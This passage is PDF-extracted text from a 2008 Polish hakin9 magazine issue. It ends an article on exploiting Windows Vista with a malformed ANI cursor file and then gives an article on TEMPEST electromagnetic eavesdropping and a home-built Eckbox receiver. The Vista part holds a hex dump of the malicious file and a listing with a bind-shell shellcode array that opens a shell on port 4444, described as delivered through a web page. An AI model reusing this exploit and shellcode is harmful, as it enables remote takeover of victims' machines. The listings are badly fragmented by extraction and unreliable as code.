się mogło wydawać.

Pierwszym krokiem, jaki musi-

my przedsięwziąć, jest analiza pli-
ku pod debuggerem. Wybór odpo-
wiedniego narzędzia pozostawiam
Czytelnikowi, jednak godnymi po-
lecenia są OllyDbg i WinDbg, któ-
re za darmo możemy pobrać z Sie-
ci. Musimy dokonać analizy pod
kątem adresów w pamięci zajmo-
wanych przez naszą tablicę i ad-
res powrotu z funkcji. W systemie
Windows XP różnica ta wynosiła
84 bajty, w systemach Vista wiel-
kość ta może być inna. Dlatego
atakujący powinien przygotować
kilka plików – tak, aby móc spraw-

Listing 4.

Szkodliwy w plik w edytorze heksadecymalnym

00000000

52

49

46

46

90

00

00

00

41

43

4F

4

E

61

6

E

69

68

RIFF

....

ACONanih

00000010

24

00

00

00

24

00

00

00

02

00

00

00

00

00

00

00

$...$...........

00000020

00

00

00

00

00

00

00

00

00

00

00

00

00

00

00

00

................

00000030

00

00

00

00

01

00

00

00

61

6

E

69

68

58

00

00

00

........

anihX

...

00000040

41

41

41

41

41

41

41

41

41

41

41

41

41

41

41

41

AAAAAAAAAAAAAAAA

00000050

41

41

41

41

41

41

41

41

41

41

41

41

41

41

41

41

AAAAAAAAAAAAAAAA

00000060

00

41

41

41

41

41

41

41

41

41

41

41

41

41

41

41

.

AAAAAAAAAAAAAAA

00000070

41

41

41

41

41

41

41

41

41

41

41

41

00

00

00

00

AAAAAAAAAAAA

....

00000080

00

00

00

00

00

00

00

00

00

00

00

00

00

00

00

00

................

00000090

42

42

42

42

43

43

43

43

BBBBCCCC

Listing 5.

Gotowy exploit

char

nop

[]=

”\

x90

” //

oczywi

ś

cie

w

tablicy

mamy

\

x90

tyle

razy

,

ile

wyni

ó

s

ł

offset

.

char

shellcode

[]=

"

\x

33

\x

c9

\x

83

\x

e9

\x

b0

\x

d9

\x

ee

\x

d9

\x

74

\x

24

\x

f4

\x

5b

\x

81

\x

73

\

x

13

\x

af"

"

\x

99

\x

e8

\x

2f

\x

83

\x

eb

\x

fc

\x

e2

\x

f4

\x

53

\x

f3

\x

03

\x

62

\x

47

\x

60

\x

17

\x

d0"

"

\x

50

\x

f9

\x

63

\x

43

\x

8b

\x

bd

\x

63

\x

6a

\x

93

\x

12

\x

94

\x

2a

\x

d7

\x

98

\x

07

\x

a4"

"

\x

e0

\x

81

\x

63

\x

70

\x

8f

\x

98

\x

03

\x

66

\x

24

\x

ad

\x

63

\x

2e

\x

41

\x

a8

\x

28

\x

b6"

"

\x

03

\x

1d

\x

28

\x

5b

\x

a8

\x

58

\x

22

\x

22

\x

ae

\x

5b

\x

03

\x

db

\x

94

\x

cd

\x

cc

\x

07"

"

\x

da

\x

7c

\x

63

\x

70

\x

8b

\x

98

\x

03

\x

49

\x

24

\x

95

\x

a3

\x

a4

\x

f0

\x

85

\x

e9

\x

c4"

"

\x

ac

\x

b5

\x

63

\x

a6

\x

c3

\x

bd

\x

f4

\x

4e

\x

6c

\x

a8

\x

33

\x

4b

\x

24

\x

da

\x

d8

\x

a4"

"

\x

ef

\x

95

\x

63

\x

5f

\x

b3

\x

34

\x

63

\x

6f

\x

a7

\x

c7

\x

80

\x

a1

\x

e1

\x

97

\x

04

\x

7f"

"

\x

50

\x

4f

\x

8e

\x

7c

\x

c9

\x

f1

\x

db

\x

1d

\x

c7

\x

ee

\x

9b

\x

1d

\x

f0

\x

cd

\x

17

\x

ff"

"

\x

c7

\x

52

\x

05

\x

d3

\x

94

\x

c9

\x

17

\x

f9

\x

f0

\x

10

\x

0d

\x

49

\x

2e

\x

74

\x

e0

\x

2d"

"

\x

fa

\x

f3

\x

ea

\x

d0

\x

7f

\x

f1

\x

31

\x

26

\x

5a

\x

34

\x

bf

\x

d0

\x

79

\x

ca

\x

bb

\x

7c"

"

\x

fc

\x

ca

\x

ab

\x

7c

\x

ec

\x

ca

\x

17

\x

ff

\x

c9

\x

f1

\x

f9

\x

73

\x

c9

\x

ca

\x

61

\x

ce"

"

\x

3a

\x

f1

\x

4c

\x

35

\x

df

\x

5e

\x

bf

\x

d0

\x

79

\x

f3

\x

f8

\x

7e

\x

fa

\x

66

\x

38

\x

47"

"

\x

0b

\x

34

\x

c6

\x

c6

\x

f8

\x

66

\x

3e

\x

7c

\x

fa

\x

66

\x

38

\x

47

\x

4a

\x

d0

\x

6e

\x

66"

"

\x

f8

\x

66

\x

3e

\x

7f

\x

fb

\x

cd

\x

bd

\x

d0

\x

7f

\x

0a

\x

80

\x

c8

\x

d6

\x

5f

\x

91

\x

78"

"

\x

50

\x

4f

\x

bd

\x

d0

\x

7f

\x

ff

\x

82

\x

4b

\x

c9

\x

f1

\x

8b

\x

42

\x

26

\x

7c

\x

82

\x

7f"

"

\x

f6

\x

b0

\x

24

\x

a6

\x

48

\x

f3

\x

ac

\x

a6

\x

4d

\x

a8

\x

28

\x

dc

\x

05

\x

67

\x

aa

\x

02"

"

\x

51

\x

db

\x

c4

\x

bc

\x

22

\x

e3

\x

d0

\x

84

\x

04

\x

32

\x

80

\x

5d

\x

51

\x

2a

\x

fe

\x

d0"

"

\x

da

\x

dd

\x

17

\x

f9

\x

f4

\x

ce

\x

ba

\x

7e

\x

fe

\x

c8

\x

82

\x

2e

\x

fe

\x

c8

\x

bd

\x

7e"

"

\x

50

\x

49

\x

80

\x

82

\x

76

\x

9c

\x

26

\x

7c

\x

50

\x

4f

\x

82

\x

d0

\x

50

\x

ae

\x

17

\x

ff"

"

\x

24

\x

ce

\x

14

\x

ac

\x

6b

\x

fd

\x

17

\x

f9

\x

fd

\x

66

\x

38

\x

47

\x

5f

\x

13

\x

ec

\x

70"

"

\x

fc

\x

66

\x

3e

\x

d0

\x

7f

\x

99

\x

e8

\x

2f"

;

//

shellcode

uruchamia

pow

ł

ok

ę

na

porcie

4444

struct

ANIChunk

{

char

tag

[

4

]=

anih

;

DWORD

size

=(

sizeof

(

nop

)

+

sizeof

(

shellcode

));

char

data

[

size

];

//

dane

}

ani

;

background image

Hakowanie Visty

hakin9 Nr 3/2008

www.hakin9.org

21

dzić każdy po kolei, aż ten właści-
wy zadziała. Dzieje się tak, ponie-
waż ASLR nie zabrania nam doko-
nania kolejnej próby sprawdzenia
adresów w pamięci, zatem można
w zasadzie w nieskończoność te-
stować system, aż odnajdziemy
upragniony adres. Nie jest to trud-
ne – wystarczy umieścić obrazki
na stronie internetowej i czekać,
aż ofiara ją odwiedzi. Na moim
komputerze offset wyniósł 92 baj-
ty. Taką też wartość założę przy
generowaniu shellcode.

Gotowy exploit

Gotowy exploit winien zawie-
rać odpowiedni shellcode – najle-
piej taki, żeby uruchamiał powło-
kę na zadanym porcie, offset bę-
dący w zasadzie ciągiem NOPów
(czyli asemblerowych instrukcji
o kodzie 0x90, które nic nie robią).
Następnie całość (czyli struktury

ANIHeader

i

ANIChunk

) winna być za-

pisana do pliku, może to być zro-
bione choćby za pomocą funkcji

fprintf()

języka C. Gotowe struk-

tury wraz z shellcodem prezentu-
je Listing 5.

Jak widać na Listingu 5, go-

towy shellcode i ciąg nopów na-
leży przekopiować tylko do tabli-
cy ani.data, używając do tego ce-
lu np. funkcji

memcpy()

. Urucho-

mienie exploita otworzy na porcie
4444 powłokę, do której możemy
się połączyć za pomocą progra-
mu telnet.

Podsumowanie

Microsoft obiecywał, że system
Windows Vista będzie najbez-
pieczniejszym z dotychczasowych
Windowsów. Mimo poczynionego
wysiłku, Vista jest podatna na pew-
ne błędy, które umożliwiają prze-
jęcie kontroli nad systemem bądź
wykonanie ataku DoS. Pozosta-
je tylko mieć nadzieję, że firma na
serio potraktuje każdy odkryty błąd
i szybko zareaguje, poprawiając
go. Działanie takie, w połącze-
niu ze świadomością użytkownika,
powinno sprawić, że Vista rzeczy-
wiście będzie tak bezpieczna, jak
twierdzą jej twórcy. l

background image

www.hakin9.org

hakin9 Nr 3/2008

22

Atak

E

misja ujawniająca (ang. compromising
emanation
), nazywana także ulotem
elektromagnetycznym, to zjawisko wy-

stępujące w każdym obwodzie, w którym pły-
nie prąd. O ile w wielu przypadkach elektro-
magnetyzm jest zjawiskiem bardzo przydat-
nym, to w przypadku emisji ujawniającej jest
dokładnie odwrotnie. Każdy podzespół kom-
putera, przetwarzając dane, emituje część
energii elektrycznej w postaci pola elektroma-
gnetycznego. To właśnie pole elektromagne-
tyczne i zawarte w nim informacje będą tema-
tem tego artykułu.

Fakty czy mity

W marcu roku 2004 w Internecie powstał projekt
nazwany Eckbox (http://eckbox.sourceforge.net),
który był rozwijany przez kilka miesięcy.

Jest to jedyny projekt open source teo-

retycznie pozwalający wykorzystywać tech-
nikę podsłuchu elektromagnetycznego. Z
premedytacją używam słowa teoretycznie,
ponieważ nie udało mi się znaleźć potwier-
dzenia faktu działania tego urządzenia i pro-
gramu. Projekt powstał na bazie badań i ar-
tykułu napisanego przez Wima van Ecka,
holenderskiego naukowca z Neher Labora-

tories. Skonstruowane i opisane przez nie-
go urządzenie było odbiornikiem fal elektro-
magnetycznych, podłączonym do komputera
za pomocą specjalnie przerobionego odbior-
nika telewizyjnego oraz pozwalało na prze-
chwycenie informacji wyświetlanych na mo-
nitorze katodowym CRT. Było to rozwiązanie
czysto sprzętowe i bardzo rozbudowane. Pro-
jekt Eckbox
jest o wiele prostszą wersją tego
rozwiązania – co wcale nie musi oznaczać, że
mniej funkcjonalną. Autorzy projektu napisali

Podsłuch

elektromagnetyczny

Grzegorz Błoński

stopień trudności

W mediach co rusz słyszymy, że ktoś kogoś podsłuchał. Cały ten

szum podsłuchiwania dotyczy raczej specjalizowanych urządzeń

podsłuchowych, mini-nadajników zwanych pluskwami – lecz to

nie jedyny rodzaj podsłuchu obecny w otaczającym nas świecie.

Nie należy zapominać, że podsłuchać można nie tylko człowieka,

ale także komputer i to, co w nim najcenniejsze dla właściciela.

Z artykułu dowiesz się

• co to jest emisja ujawniająca,
• co to jest ulot elektromagnetyczny,
• czy można wykorzystać te zjawiska do podsłu-

chiwania.

Co powinieneś wiedzieć

• znać podstawy zjawiska elektromagnetyzmu,
• znać system Linux i umieć pracować w konsoli,
• umieć posługiwać się lutownicą,
• znać podstawy budowy układów elektronicznych.

background image

Podsłuch elektromagnetyczny

hakin9 Nr 3/2008

www.hakin9.org

23

program, który – korzystając z por-
tu równoległego w komputerze PC
– potrafi przekształcić dane odebra-
ne przez radioodbiornik podłączony
do komputera za pomocą specjal-
nego interfejsu wykorzystującego
przetwornik analogowo-cyfrowy.

Problem ulotu elektromagne-

tycznego dotyczy każdego urzą-
dzenia komputerowego, a mimo to
niewiele jest firm, które dbają o za-
pewnienie pod tym względem bez-
pieczeństwa swoim wrażliwym da-
nym. W agencjach i instytucjach
rządowych sytuacja jest trochę lep-
sza, ponieważ są one zobligowane
do utrzymania określonych informa-
cji w ścisłej tajemnicy.

W USA powstał w latach sześć-

dziesiątych projekt nazwany TEM-
PEST (Transient ElectroMagnetic
Pulse Emanation STandard
), któ-
ry określa dopuszczalne poziomy
niepożądanych emisji fal elektro-
magnetycznych. Projekt uwzględ-
nia trzy klasy (poziomy) bezpie-
czeństwa:

• Level 1 – AMSG 720 B,
• Level 2 – AMSG 788,
• Level 3 – AMSG 784.

Urządzenia wykonane przy zachowa-
niu norm zawartych w projekcie TEM-
PEST są sprzedawane na terenie
państw członkowskich NATO. Jed-
nak, aby móc takie urządzenie na-
być lub nimi handlować, trzeba speł-
nić pewne warunki.

Po dokładniejsze informacje na

temat programu TEMPEST odsyłam
do Internetu, na przykład na stronę
www.iniejawna.pl.

Technikalia

Rozpatrując możliwości podsłu-
chania komputera przy wykorzy-
staniu kompromitujących emana-
cji, mamy możliwość zastosowa-
nia technik inwazyjnych oraz nie-
inwazyjnych.

Techniki inwazyjne mogą opierać

się na wstrzyknięciu w system-ofia-
rę oprogramowania, działającego
w taki sposób, że bez wiedzy użyt-
kownika będzie wykorzystywało
układy elektroniczne komputera ja-

ko nadajnik i antenę do wypromie-
niowania informacji, jakie zamierza-
my przechwycić.

Przykładem wykorzystania ta-

kiej techniki jest program au-
torstwa Erika Thiele, nazwa-
ny dźwięcznie Tempest for Eliza
(http://www.erikyyy.de/tempest).
Program ten pozwala – przy wyko-
rzystaniu karty graficznej jako nadaj-
nika i monitora jako anteny – wysy-

łać muzykę w eter – można ją ode-
brać na standardowym radioodbior-
niku fal długich. Program działa w li-
nii poleceń systemu Linux.

Do wydania odpowiedniej ko-

mendy potrzebne są nam parame-
try naszego podsystemu graficzne-
go, takie jak:

• częstotliwość rysowania piksela

(Pixel Clock),

Listing 1.

Program tempest-cpu autorstwa Berke Duraka

#include

<stdlib.h>

#include

<stdio.h>

typedef

unsigned

char

u8

;

#define BUF_SIZE (1<<18)

void

tempest_cpu_pattern

(

int

count

,

volatile

int

*

buf

,

int

a

,

int

b

)

{

int

i

,

j

;

int

x1

,

x2

,

x3

,

x4

;

x1

=

0

;

x2

=

0

;

x3

=

0

;

x4

=

0

;

i

=

0

;

while

(

count

--)

{

for

(

j

=

0

;

j

<

a

;

j

++)

{

x1

^

=

0x55330fff

+

i

;

x1

<<=

1

;

buf

[

i

]

=

x1

;

if

(++

i

==

BUF_SIZE

)

i

=

0

;

}

for

(

j

=

0

;

j

<

b

;

j

++)

{

asm

(

"nop"

);

/* this instruction is available on nearly every CPU :

) */

}

}

}

int

main

(

int

argc

,

char

**

argv

)

{

int

count1

,

count2

;

int

a1

,

b1

;

int

a2

,

b2

;

int

*

c

;

int

a

,

b

;

if

(

argc

!=

7

)

{

fprintf

(

stderr

,

"usage: %s a_low b_low a_high b_high count_low

count_high

\n

"

);

exit

(

EXIT_FAILURE

);

}

a1

=

atoi

(

argv

[

1

]);

b1

=

atoi

(

argv

[

2

]);

a2

=

atoi

(

argv

[

3

]);

b2

=

atoi

(

argv

[

4

]);

count1

=

atoi

(

argv

[

5

]);

count2

=

atoi

(

argv

[

6

]);

c

=

malloc

(

BUF_SIZE

*

sizeof

(

int

));

for

(;;)

{

for

(

a

=

a1

,

b

=

b1

;

a

<

a2

&&

b

<

b2

;

a

+=

(

a2

-

a1

)

>>

4

,

b

+=

(

b2

-

b1

)

>>

4

)

{

tempest_cpu_pattern

(

count1

,

c

,

a

,

b

);

}

}

return

0

;

}

background image

hakin9 Nr 3/2008

www.hakin9.org

Atak

24

• rozdzielczość pozioma (HDi-

splay),

• rozdzielczość pionowa (VDi-

splay),

• całkowita rozdzielczość pozioma

(HTotal).

Po wydaniu przykładowego pole-
cenia:

#./tempest_for_eliza 108000000 1280
1024 1688 10000000 songs/starwars

program użyje wartości 108MHz
jako częstotliwości rysowania pik-
sela, rozdzielczości okna 1280 x
1024 oraz wartości HTotal równej
1688 pikseli. Kolejne parametry to
10MHz (jako częstotliwość nośna,
na której będzie emitowany dźwięk)
i wreszcie ścieżka do pliku dźwię-
kowego. Na ekranie monitora po-
jawi się dynamicznie zmieniający
się obraz czarno-białych linii pozio-
mych, których grubość i szybkość
zmian uwarunkowana jest odtwa-
rzanym z pliku dźwiękiem.

Dźwięki emitowane przez moni-

tor są słyszalne także na częstotli-
wościach harmonicznych. Na stan-
dardowym odbiorniku radiowym
w zakresie fal krótkich w okolicach
częstotliwości 10MHz nadawa-
ny dźwięk bardzo dobrze słychać.
Oprócz tej częstotliwości odebra-
łem emitowane dźwięki za pomocą
transceivera krótkofalowego na czę-
stotliwościach 26,215 MHz, 26,455
MHz, 26,755 MHz, 27,755 MHz oraz
28,005 MHz – przy czym najsilniej-
szy sygnał pojawił się na pierwszej
z wymienionych częstotliwości. Od-
ległość anteny wynosiła początko-
wo jeden metr – w tych warunkach

siła sygnału była na poziomie 3µV
do 6µV (według wskazań transce-
ivera Zodiac Tokyo), bez względu
na polaryzację anteny. Przy zwięk-
szeniu odległości do 4 metrów siła
sygnału spadła do poziomu 0,39µV.
Dźwięki nadal były słyszalne, lecz
towarzyszyły im wyraźne szumy,
których intensywność zmieniała się
w zależności od polaryzacji anteny.
Podczas pomiarów używałem ante-
ny MagLoop.

Przy okazji tych eksperymentów

odkryłem, że podłączone do kom-
putera urządzenia typu KVM (Key-
board Video Mouse
) w trakcie te-
stów emitują tak silnie wzmocnione
sygnały z karty graficznej, że bez
problemu mogłem odebrać czyste,
słyszalne dźwięki w pomieszcze-
niu znajdującym się za dwoma ścia-
nami w odległości około 8 metrów. Si-
ła sygnału była tak duża, że wskaź-
nik transceivera Zodiac Tokyo wska-
zywał 50µV! Sugeruje to, że sygnał
mógł być swobodnie odebrany w bar-
dzo dużej odległości, przypuszczal-
nie kilkudziesięciu, a może nawet kil-
kuset metrów.

W związku z tym faktem uwa-

żam, że używanie przełączników
KVM w systemach komputerowych
zawierających dane tajne lub wraż-
liwe jest bardzo ryzykowne. Prze-
łącznik, którego używałem, to dzie-
ło firmy D-link (model DKVM-2K)

który, jako urządzenie pozwalają-
ce na korzystanie z jednego ze-
stawu klawiatury, myszy i monito-
ra dla dwóch komputerów, sprawu-
je się doskonale – zgodnie ze swym
przeznaczeniem. Bardzo możliwe,
że jest na rynku sporo przełączni-
ków pozbawionych takiej przypa-
dłości
. Jednak tak czy inaczej, za-
nim ktoś zechce użyć jakiegokol-
wiek przełącznika, powinien się za-
stanowić nad niechcianym dodat-
kiem
w postaci dużej emisji niepo-
żądanych sygnałów lub wykonać te-
sty sprawdzające.

Erik Thiele bazował przy pracy

nad swoim programem na innym
projekcie (autorstwa Pekki Riiko-
nena), który potrafił tylko emitować
pojedyncze tony – ale także pozwo-
lił udowodnić, że podsłuch elektro-
magnetyczny jest możliwy. Powsta-
ło już więcej programów wykorzy-
stujących zjawisko niepożądane-
go ulotu elektromagnetycznego
w komputerach. Autorem kilku ta-
kich narzędzi jest Berke Durak
(http://abaababa.ouvaton.org/tem-
pest
). Jego programy wykorzystu-
ją do ukrytej transmisji danych dro-
gą radiową zarówno wewnętrzne,
jak i zewnętrzne podzespoły kom-
putera.

Pierwszym programem Ber-

ke Duraka, o najmniej skompliko-
wanej budowie (Listing 1) jest tem-

Rysunek 2.

Ekran monitora podczas pracy programu Tempest for Eliza

Rysunek 1.

Rozkład pola

elektromagnetycznego wokół
odcinka przewodnika prądu

�������������

��������������������

������������������

�����

background image

Podsłuch elektromagnetyczny

hakin9 Nr 3/2008

www.hakin9.org

25

pest-cpu. Program działający w linii
poleceń systemu Linux przyjmuje kil-
ka parametrów określających rodzaj
przesyłanych dźwięków, wysokość
tonu i czas trwania. Obciąża proce-
sor w 100%, więc nie nadaje się do
przeprowadzenia ataku – jego dzia-
łalność w systemie zostałaby szybko
wykryta. Jest jednak dobrym przy-
kładem potwierdzającym fakt ist-
nienia zjawiska ulotu elektromagne-
tycznego. Procesor emituje niezbyt
silne pole elektromagnetyczne, jed-
nak jest ono możliwe do odebrania
w odległości do dwóch metrów przy
pomocy zwykłego radioodbiornika
na fale długie, przy czym odbiera-
ny sygnał jest bardzo mocno zakłó-
cany przez szumy oraz interferencje
pochodzące od innych pracujących
w komputerze podzespołów.

Kolejny program tempest-crt tego

samego autora wykorzystuje – po-
dobnie jak poprzednie programy Eri-
ka Thiele i Pekki Riikonena – moni-
tor jako nadajnik do wysyłania infor-
macji dźwiękowej. Inne dwa progra-
my Berke Duraka – tempest-pci oraz
tempest-mem – wykorzystują ja-
ko nadajnik odpowiednio szynę PCI
(i urządzenia na niej pracujące) oraz
pamięć operacyjną. Ich przydatność
do wykorzystania w ataku jest rów-
nież niewielka, ponieważ pole elek-
tromagnetyczne, które generują wo-
kół siebie urządzenia PCI, jest dużo
słabsze niż wytwarzane przez mo-
nitory (w szczególności CRT, choć
LCD także charakteryzują się dość
pokaźnym niepożądanym ulotem).

W tym momencie należy wspo-

mnieć, że urządzenia pracujące na
szynie SCSI – bardzo wydajnej szy-
nie danych, wykorzystywanej w roz-
wiązaniach serwerowych – także
emitują dość silne pola elektroma-

gnetyczne. Są one dużo bardziej in-
tensywne niż w przypadku szyny PCI
i w przypadku braku odpowiedniego
ekranowania dają możliwość podsłu-
chania z dużej odległości.

Programy Duraka są niezaprze-

czalnym potwierdzeniem, że można
wykorzystać podzespoły kompute-
ra w celu wysyłania informacji po-

przez zastosowanie odpowiedniego
oprogramowania. Wprawny progra-
mista, wykorzystując kod źródłowy
programów Duraka, teoretycznie
może napisać aplikację, która po-
zwoli mu po zainfekowaniu kompu-
tera-ofiary na przechwytywanie in-
formacji, jakie go interesują. Po od-
powiedniej modyfikacji programu

Rysunek 3.

Transceiver Zodiac

Tokyo w czasie odbierania sygnału

Rysunek 4.

Program Tempest for Eliza po zakończeniu pracy

Rysunek 5.

Widok zmontowanego urządzenia

background image

hakin9 Nr 3/2008

www.hakin9.org

Atak

26

można go dodać jako załącznik do
maila, który automatycznie się uru-
chomi, jeśli nieuważny internauta
w niego kliknie. Choć dotychczas
nie ujawniono wirusa czy innego
złośliwego kodu wykorzystujące-
go taką technikę do przechwycenia
informacji, uważam, że zagrożenie
związane z takimi atakami jest dość
duże. Całkiem możliwe, że już ktoś
napisał taki złośliwy kod i go wyko-
rzystuje, a my o tym po prostu nie
wiemy.

Techniki nieinwazyjne – jak su-

geruje nazwa – nie zmuszają nas
do wstrzykiwania kodu programu
do komputera-ofiary. Nieinwazyj-
ność tych metod polega na wyko-
rzystaniu niepożądanej emisji elek-

tromagnetycznej generowanej stan-
dardowo przez urządzenia kompu-
terowe. Prekursorem w tej dziedzi-
nie – a jednocześnie naukowcem,
który upublicznił informacje o moż-
liwości podsłuchu elektromagne-
tycznego – był wcześniej wspo-
mniany Wim van Eck.

Podsłuchiwać możemy przeróż-

ne sygnały emitowane przez wie-
le podzespołów komputerowych
– od urządzeń komunikujących się
z komputerem bezprzewodowo, ta-
kich jak myszy, klawiatury, drukar-
ki itp., aż po te, które są połączone
z komputerem kablem. W przypad-
ku słabej jakości filtrowania napięć
zasilających w zasilaczach kom-
puterowych część informacji mo-

że przedostawać się do sieci elek-
troenergetycznej i tam może zostać
przechwycona.

W roku 1990 Peter Smulders

opublikował wyniki badań nad prze-
chwytywaniem informacji z ulotu
elektromagnetycznego kabli łączą-
cych interfejsy RS-232, na podsta-
wie których możemy przypuszczać,
że praktycznie każdy rodzaj transmi-
sji danych, nawet realizowanej prze-
wodowo, jest narażony na podsłu-
chanie.

Budujemy urządzenie

W związku z tym, że najsilniejsze
sygnały emitowane są przez mo-
nitory CRT, a zaraz po nich LCD,
postanowiłem przeprowadzić wła-
sne badania, budując odpowiednie
urządzenie. Zaczerpnąłem podsta-
wowe informacje ze strony projektu
Eckbox i zacząłem od zebrania od-
powiednich elementów elektronicz-
nych, aby zbudować interfejs prze-
twarzający sygnał analogowy z od-
biornika radiowego czy też innego
transceivera, którym będę próbo-
wać odebrać sygnały emitowane
przez monitory testowe.

Rozpoczynając pracę nad bu-

dową pierwszego układu, podcho-
dziłem do całej sprawy nieco scep-
tycznie – jednak z odrobiną na-
dziei, że się uda. Do swojego eks-
perymentu wykorzystałem odbior-
nik radiowy w zakresie pasma fal
długich, krótkich oraz UKF, a także
transceiver Zodiac Tokyo, pracują-
cy w zakresie 25-29MHz. Nasłuchy
prowadziłem w modulacji AM oraz
FM. Jak wiemy, sygnały nadawane
przez różne nadajniki często są sły-
szalne na częstotliwościach harmo-
nicznych, które są wielokrotnościa-
mi częstotliwości nośnej. Liczyłem
więc, że gdzieś w końcu usłyszę
i zobaczę to, co chcę.

Na Rysunku 6. widać schemat

blokowy połączeń poszczególnych
elementów zestawu.

W swoim eksperymencie wyko-

rzystywałem radioodbiornik wypo-
sażony w standardową antenę fer-
rytową oraz zewnętrzną telesko-
pową. Oprócz tego w przypadku
transceivera Zodiac Tokyo korzy-

Rysunek 6.

Eksperymentalny zestaw do podsłuchu elektromagnetycznego

(Eckbox)

����������

����������������������

������

�������������������������

������

���������������

�����������������

���������������

Rysunek 7.

Schemat ideowy urządzenia Eckbox

���

�����

���

����

�������������������������

��

��

��

�����������������

�����

����

�����

�����������������������
�����������������������

��
��
��
��
��
��
��
��

��

��

��

��

��

��

��

��

��

��

���

��

��

��

������

����

����

����

�����

��

��

��

��

��

��

��

��

���

��

��

����

��

����

��

background image

Podsłuch elektromagnetyczny

hakin9 Nr 3/2008

www.hakin9.org

27

stałem z anteny dookólnej pętlowej
LoopSkywire oraz anteny kierunko-
wej MagLoop własnej konstrukcji.
Szczegóły dotyczące budowy tych an-
ten nie zostaną tu zamieszczone – wy-
starczająco dużo informacji na ten te-
mat można znaleźć w Internecie.

Do zbudowania interfejsu urzą-

dzenia dla portu LPT (według infor-
macji ze strony http://eckbox.source-
forge.net
), potrzebujemy układu sca-
lonego do konwersji sygnału analogo-
wego z odbiornika radiowego na sy-
gnał cyfrowy rozumiany przez kompu-
ter PC. Projekt Eckbox zakłada użycie
przetwornika analogowo-cyfrowego o
rozdzielczości 8 bitów na wyjściu cy-
frowym i jednym kanale wejściowym.
Układy scalone, które można wyko-
rzystać do tego celu, są dostępne
w każdym lub prawie każdym sklepie
z podzespołami elektronicznymi.

Dodatkowo będziemy potrzebo-

wali kilku rezystorów, kondensatorów
i diod. Przeszukując sklepy natrafiłem
na układ ADC0804, niedrogi, spełnia-
jący wymogi projektu i posiadający od-
powiednie parametry elektryczno-lo-
giczne. Na Rysunku 7. przedstawiam
schemat układu, który zbudowałem,
korzystając z informacji zawartych
w nocie aplikacyjnej układu ADC0804
i kilku innych rozwiązań wykorzystują-
cych ten przetwornik.

Po zmontowaniu elektronicznej

części układu przystąpiłem do połą-
czenia wszystkich elementów zesta-
wu podsłuchowego – tak, jak widać na
Rysunku 5.

Program eckbox po skompilowa-

niu (wraz z odpowiednimi bibliote-
kami – svgalib oraz modułem svga-
lib_helper) uruchamia się, począt-
kowo wyświetlając tylko czarny
ekran. Po chwili, gdy zaczyna dzia-
łać przetwornik A/C, na ekranie po-
jawiają się przesuwające się po-
ziome linie – co przedstawia Ry-
sunek 8.

Urządzenie nie wyświetla tego,

na co oczekiwałem, ponieważ za-
stosowany układ ADC0804 prze-
nosi sygnały o częstotliwościach
do 10 kHz. Przeoczyłem ten waż-
ny parametr podczas wyszukiwa-
nia odpowiedniego układu. Ponie-
waż w technice nieinwazyjnej za-
kładamy, że nie mamy możliwości
wymuszenia częstotliwości, na ja-
kiej monitor emituje sygnał, musi-
my próbować odebrać go na czę-
stotliwościach, na których jest emi-
towany przez podzespoły kompute-
ra lub na częstotliwościach harmo-
nicznych (założyłem zakres od 10
do 30 MHz).

Zbudowałem więc kolejny eg-

zemplarz oparty o układ ADC, mo-

gący pracować z częstotliwościa-
mi sygnału wejściowego rzędu 18
Mhz, który teoretycznie powinien
się sprawdzić lepiej – czyli HI1175
firmy Intersil. Niestety, okazało się,
że to także nie pozwala na odebra-
nie sygnału. Zgodnie z informacja-
mi ze strony projektu Eckbox, układ
powinien działać na częstotliwości
pasma radiowego FM 108MHz.

Taka częstotliwość sugeruje, że

program został napisany tak, by od-
bierać sygnał emitowany przez Pi-
xelClock w kartach graficznych.
Dość trudne jest zdobycie ukła-
du ADC pracującego z sygnałami
wejściowymi o takich częstotliwo-
ściach.

Licząc, że uda mi się podsłu-

chać coś na częstotliwościach har-
monicznych, postanowiłem naj-
pierw zbudować kolejne ukła-
dy, umożliwiające pracę na wyż-
szych częstotliwościach. Kolejne
urządzenie, zbudowane w oparciu
o układ HI2302 (także firmy Inter-
sil), podczas pierwszych testów nie
chciało działać – czego przyczyną
okazało się zaniżone napięcie za-
silające. Ponieważ urządzenie jest
zasilane z szyny USB, szybko zna-
lazłem przyczynę tej sytuacji. Oka-
zał się nią zewnętrzny dysk twar-
dy podłączony do komputera, który

R

E

K

L

A

M

A

background image

hakin9 Nr 3/2008

www.hakin9.org

Atak

28

pobierając prąd rzędu 500mA (czyli
maksymalny możliwy według specy-
fikacji USB) powodował spadki napię-
cia. Po odłączeniu dysku napięcie na
szynie USB wróciło do poziomu 5V,
a urządzenie zaczęło pracować.

Niestety, nie powiodło mi się rów-

nież tym razem. Układ teoretycz-
nie pozwala na odbieranie sygnałów
o częstotliwości 100MHz. Program
Eckbox, pomimo tego, że wyświetlał
zmieniające się w czasie obrazy skła-
dające się z linii poziomych.

Brak pozytywnego wyniku działa-

nia urządzenia i programu Eckbox wca-

le nie spowodował w moim przypadku
zmiany zdania na temat problemu ulotu
elektromagnetycznego i zagrożeń bez-
pieczeństwa z nim związanych.

Powodem niepowodzenia mogą

być zarówno błędy w projektowaniu

urządzenia, jak i sam program, któ-
ry ostatnich poprawek doczekał się
w roku jego powstania (2004). Od
tamtego czasu na stronie projektu nic
się nie dzieje. Być może ktoś już pró-
bował zbudować to urządzenie wcze-
śniej, jednak nie natknąłem się na śla-
dy informacji o działającym egzempla-
rzu. Jeżeli jest ktoś, kto wykonał taki
aparat, chętnie skorzystam z jego wie-
dzy – o ile zechce się nią podzielić.

Podsumowanie

Po analizie pokaźnych zasobów infor-
macji na temat ulotu elektromagne-
tycznego, znajdujących się między
innymi w Internecie, oraz po przepro-
wadzonych testach programów Erika
Thiele i Berke Duraka uważam, że pro-
blem emisji ujawniającej jest kwestią,
której nie można pomijać przy tworze-
niu polityk bezpieczeństwa w firmach
i instytucjach przetwarzających waż-
ne, często tajne dane. Choć w tym ar-
tykule opisałem możliwość odbierania
sygnałów nadawanych z premedyta-
cją – i to na niewielkie odległości, nie
można lekceważyć istoty problemu,
która może w wielu przypadkach sta-
nowić o wycieku bardzo cennych da-
nych. Nieudana próba podsłuchania
emisji ujawniającej przy pomocy pro-
stych w budowie urządzeń nie prze-
czy temu, że sam fakt takiego pod-
słuchu jest możliwy. Przy odpowied-
nio dużym nakładzie pracy oraz zasto-
sowaniu profesjonalnego sprzętu z du-
żym prawdopodobieństwem pozwo-
li nam to na skonstruowanie urządze-
nia, które będzie działało tak samo do-
brze, jak urządzenie Wima van Ecka
(lub nawet lepiej). Mam nadzieję, że po
